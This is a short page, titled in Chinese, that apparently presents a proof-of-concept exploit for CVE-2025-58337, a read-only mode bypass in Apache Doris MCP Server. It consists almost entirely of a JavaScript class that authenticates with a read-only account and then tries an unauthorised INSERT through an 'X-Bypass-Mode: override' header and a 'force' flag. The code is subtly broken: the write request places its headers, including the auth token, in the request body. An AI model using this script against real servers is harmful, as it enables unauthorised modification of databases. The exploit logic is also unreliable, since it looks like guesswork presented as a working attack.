CVE-2025-58337 Apache Doris MCP Server只读模式绕过漏洞

// CVE-2025-58337 PoC - Doris MCP Server Read-Only Bypass // Requires valid read-only account credentials const axios = require('axios'); class DorisMCPExploit { constructor(baseUrl, username, password) { this.baseUrl = baseUrl; this.username = username; this.password = password; this.token = null; } async authenticate() { // Authenticate with read-only account const response = await axios.post(`${this.baseUrl}/api/auth/login`, { username: this.username, password: this.password, mode: 'read-only' }); this.token = response.data.token; return this.token; } async exploitBypass() { // Attempt to bypass read-only mode and perform write operation // This PoC demonstrates the vulnerability principle try { // Normal read operation (should work) const readResponse = await axios.get(`${this.baseUrl}/api/query`, { headers: { 'Authorization': `Bearer ${this.token}` }, params: { sql: 'SELECT * FROM users LIMIT 10' } }); console.log('Read operation successful:', readResponse.data); // Bypass attempt - write operation with crafted request // The vulnerability allows bypassing read-only restrictions const writeResponse = await axios.post(`${this.baseUrl}/api/execute`, { headers: { 'Authorization': `Bearer ${this.token}`, 'X-Bypass-Mode': 'override' // Exploit specific header }, data: { sql: 'INSERT INTO sensitive_data VALUES (1, "exploit")', force: true // Force execution bypassing read-only check } }); console.log('Write operation (bypassed):', writeResponse.data); return true; } catch (error) { console.error('Exploitation failed:', error.message); return false; } } } // Usage example const exploit = new DorisMCPExploit( 'https://target-doris-server:5000', 'readonly_user', 'password123' ); exploit.authenticate().then(() => { exploit.exploitBypass(); });